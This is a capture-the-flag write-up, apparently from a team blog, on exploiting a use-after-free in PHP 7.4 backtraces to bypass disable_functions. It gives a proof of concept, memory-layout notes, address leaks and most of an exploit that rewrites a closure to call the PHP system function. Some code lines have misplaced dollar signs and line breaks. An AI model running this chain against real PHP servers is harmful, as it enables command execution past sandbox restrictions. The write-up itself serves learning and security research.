Cloned from Our member 2019's post.

## 0x00 Overview

Although I failed to solve the challenge during CTF, but I think it is worthwhile to do a write-up.

The challenge is to exploit a PHP script engine using this bug. We can execute arbitrary PHP code but we must bypass disabled_function restriction to execute shell command, using a UAF vulnerability. Therefore, this is actually more a Pwn challenge than a Web challenge.

However, different from official PHP engine, a custom libphp7.so is provided. This engine does not provide any loop functionality such as for/while/do-while/foreach. Moreover, in remote server, the recursion depth is also restricted, and strlen function always returns NULL, even though these cases do not occur in my local environment.

The exploit idea is similar to the exploit provided in Github: use UAF to overlap a string with an object, so that we can leak the addresses, then clone a function object and rewrite relevant function pointer to make the function system.

## 0x01 Environment

Firstly, we pull and run the docker provided by challenge:

sudo docker pull php:7.4.2-apache
sudo docker run -i -t php:7.4.2-apache /bin/bash

Then, start the apache server:

# -------- commands in host shell --------
sudo docker cp libphp7.so [hex id shown in bash shell]:/usr/lib/apache2/modules/libphp7.so
# replace the libphp7 to provided libphp7
sudo docker cp exp.php [hex id shown in bash shell]:/var/www/html/index.php
# copy the exploit into docker

# -------- commands in docker shell --------
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# set some necessary environment variable
apache2ctl -X
# start apache server

To debug the apache server, what I did is just use gdb outside docker and attach to the apache2ctl process. The functionality is pretty rudimentary, but it is okay if you just want to inspect memory status at crash.

## 0x02 Bug

In my understanding, The use-after-free is caused by freeing variables without reference(e.i. ref count = 0) before putting the local variables into the backtrace. In this way already freed variables can be re-accessed by accessing backtrace. As the patch suggests, the way to fix is just to put stack frame unlink before freeing variables:

Unlink the current stack frame before freeing CVs or extra args. This means it will no longer show up in back traces that are generated during CV destruction.

We already did this prior to destructing the object/closure, presumably for the same reason.

The PoC with explanation is shown below:

class Vuln {
public $a; public function __destruct() { global$backtrace;
unset($this->a);$backtrace = (new Exception)->getTrace(); // backtrace has ref to $arg } } function trigger_uaf($arg) {
$arg = str_shuffle(str_repeat('A', 79)); // string to be UAFed$vuln = new Vuln();
$vuln->a =$arg;
}
trigger_uaf('x');
$backtrace[0]['args'][1] // access UAF string ## 0x03 Exploit ### PHP Object Memory Layout Before exploiting any script engine, one critical thing to know is how object is stored in this script engine. In this case, we need to know how string and other PHP objects are stored in memory, since the best way to exploit UAF is to replace the just freed string with another PHP object to have type confusion. In this way we may do some evil stuff such as leaking critical memory addresses by reading from that PHP string. Thanks to @Anciety who helped me to find definition of various PHP types, I can investigate the exploitation more conveniently. The exploit method that the provided exploit is using is to obfuscate PHP string with PHP object created from class. Here are definitions of these 2 types: struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; }; struct _zend_object { zend_refcounted_h gc; uint32_t handle; // TODO: may be removed ??? zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1]; // zval is a union followed by its type description // for example: string is _zend_string* pointer and 0x6 }; The overlap is shown below: string object gc gc h handle len ce val+0 handlers val+8 properties val+16 first field val+24 type of first field ... ### Leak Therefore, we can leak pointer of object by reading content in +0x10 offset. In addition, pointer handlers points to somewhere at libphp7.so so that we can also leak base address of libphp7. $helper = new Helper;
$helper->a =$helper;
$helper->b = function($x) {};
$helper->c = 0x1337;$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x10); // leaker address of$helper, which is also that of $abc$helper->a = "helper";
// if we still have circular reference,
// a strage crash will occur when rewriting string,
// so we remove circular reference here
$abc_addr =$php_heap + 0x18;
$libphp_addr = str2ptr($abc, 0) - 0xd73ec0;
$zif_system =$libphp_addr + 0x355a86;
// leak libphp and thus zif_system function
$helper->b = function($x){};
$closure_obj = str2ptr($abc, 0x20);
// leak a pointer pointing to a user-defined function object

By the way, the way to leak abc_addr resented in provided exploit does not work here, I don't know why. In addition, the ELF stuff inside provided exploit is not necessary, because we already know the libphp7 so that zif_system address can be calculated directly.

### Code Execution

This is actually the part the got me stuck for very long time. The primary objective is to rewrite the function in b field to PHP system function. As the provided exploit suggests, we need to write $closure_obj+0x38 to 1 and $closure_obj+0x68 to zif_system. I have came up with 4 approaches, but only the last one works:

1. Fake a string object to build a arbitrary write primitive, but it seems that when writing to string fetched from object field, the engine will copy it first before writing, which means we cannot rewrite the function object directly.
2. Since the length of $abc is very big(e.i. an 6-byte address), we can directly use $abc to write content in $closure_obj. However, this requires $closure_obj to be larger that $abc_addr, which means the function object must lay behind $abc in memory. This is true when we execute the script directly, but when converting exploit into string and executing it using eval, this property does not hold.
3. Re-trigger the vulnerability but fill the just-freed string with a function object, but it seems that I cannot achieve this after many trials.
4. Copy the contents inside $closure_obj and change the relevant field in the copied fake object. This is the approach used by provided exploit. However, we cannot use strlen function to achieve arbitrary memory read, unlike the provided exploit. My approach is to interpret address $closure_obj as a PHP string so that we can read contents after +0x18 offset. As for copying, since the recursion depth and loop are restricted, we just copy and paste the code to achieve the copy. The relevant codes are shown below:
// fake value
write($abc, 0x10,$closure_obj);
write($abc, 0x18, 0x6); // fake a string object at$closure_obj

function copyFunc($off) { global$helper;
global $abc; if ($off > 0x110) return;
write($abc, 0xd0 + 0x18 +$off, str2ptr($helper->a,$off));
write($abc, 0xd0 + 0x20 +$off, str2ptr($helper->a,$off+8));
write($abc, 0xd0 + 0x28 +$off, str2ptr($helper->a,$off+0x10));
write($abc, 0xd0 + 0x30 +$off, str2ptr($helper->a,$off+0x18));
write($abc, 0xd0 + 0x38 +$off, str2ptr($helper->a,$off+0x20));
write($abc, 0xd0 + 0x40 +$off, str2ptr($helper->a,$off+0x28));
write($abc, 0xd0 + 0x48 +$off, str2ptr($helper->a,$off+0x30));
write($abc, 0xd0 + 0x50 +$off, str2ptr($helper->a,$off+0x38));
write($abc, 0xd0 + 0x58 +$off, str2ptr($helper->a,$off+0x40));
write($abc, 0xd0 + 0x60 +$off, str2ptr($helper->a,$off+0x48));
write($abc, 0xd0 + 0x68 +$off, str2ptr($helper->a,$off+0x50));
write($abc, 0xd0 + 0x70 +$off, str2ptr($helper->a,$off+0x58));
write($abc, 0xd0 + 0x78 +$off, str2ptr($helper->a,$off+0x60));
write($abc, 0xd0 + 0x80 +$off, str2ptr($helper->a,$off+0x68));
write($abc, 0xd0 + 0x88 +$off, str2ptr($helper->a,$off+0x70));
write($abc, 0xd0 + 0x90 +$off, str2ptr($helper->a,$off+0x78));
write($abc, 0xd0 + 0x98 +$off, str2ptr($helper->a,$off+0x80));
write($abc, 0xd0 + 0xa0 +$off, str2ptr($helper->a,$off+0x88));
copyFunc($off + 0x90); } // function to copy the content inside$closure_obj

write($abc, 0xd0, 0x0000031800000002); write($abc, 0xd0 + 8, 0x0000000000000003);
// write some headers in $closure_obj, // which are simply constants from gdb copyFunc(0); // copy body in$closure_obj

write($abc, 0xd0 + 0x38, 0x0210000000000001); write($abc, 0xd0 + 0x68, $zif_system); // rewrite critical fields to make the function system write($abc, 0x20, $abc_addr + 0xd0); // rewrite pointer of field b to newly faked function object ($helper->b)(\$cmd);
die("end");

The full exploit is here.